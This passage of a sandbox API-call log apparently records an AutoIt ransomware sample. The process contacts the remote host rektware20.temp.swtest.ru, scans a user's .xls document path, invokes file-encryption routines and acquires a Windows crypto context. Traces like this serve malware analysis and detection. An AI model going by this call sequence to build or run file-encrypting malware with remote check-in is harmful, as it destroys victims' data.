FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.743] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.743] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.743] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.743] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.743] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.743] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0073.743] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.743] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.744] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.751] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.751] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.751] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.751] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.751] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.751] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.752] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.752] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.752] CloseHandle (hObject=0x0) returned 0 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jwt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wt8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="peYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eYl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yl55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="55.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.754] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.754] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.754] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.754] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.754] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.754] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.754] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.754] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.754] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0073.754] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.755] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.755] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.755] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.755] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.755] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.755] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.756] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.756] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.756] CloseHandle (hObject=0x0) returned 0 [0073.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.756] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0073.756] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.756] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.756] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.756] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.756] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.756] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.757] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.757] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.757] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.757] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.757] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.757] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.758] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.758] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.758] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0073.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.759] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 